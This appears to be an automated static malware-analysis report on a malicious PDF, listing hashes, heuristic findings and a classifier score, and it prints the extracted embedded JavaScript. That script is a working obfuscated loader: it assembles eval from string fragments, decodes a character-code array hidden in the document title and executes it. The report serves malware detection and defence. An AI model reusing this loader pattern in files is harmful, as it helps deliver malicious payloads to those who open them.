Malicious PDF — malware analysis report

Static analysis result for SHA-256 ac7eafeae305f803…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-09
MD5: da4509a7b970f86a74c9eb4d3bbf24a3 SHA-1: ac8ba981c99e97b20dae509910a6a299afdea74d SHA-256: ac7eafeae305f8031c31a031d48ee93e08e33f529c66396e60725851b1f7d591
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to execute malicious code, potentially downloading further payloads or exploiting vulnerabilities. No specific family could be identified, but the attack pattern is consistent with a malicious PDF dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0D1 474 bytes
SHA-256: 902f829c0849d53f5f8d3c50e9fdb92614c98667b0b2c6f6ecc6aa850689916a
Preview script
First 1,000 lines of the extracted script
pbz='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
polso=e('ti'+'tle');
s=polso.substr(t.length + 8,3)+'str';
q=polso[s](1,(1,9));
cms=e('S'+'tring.fro'+q);
q=polso[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	yqyrt = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	pbz += cms(yqyrt);
}
e(pbz);

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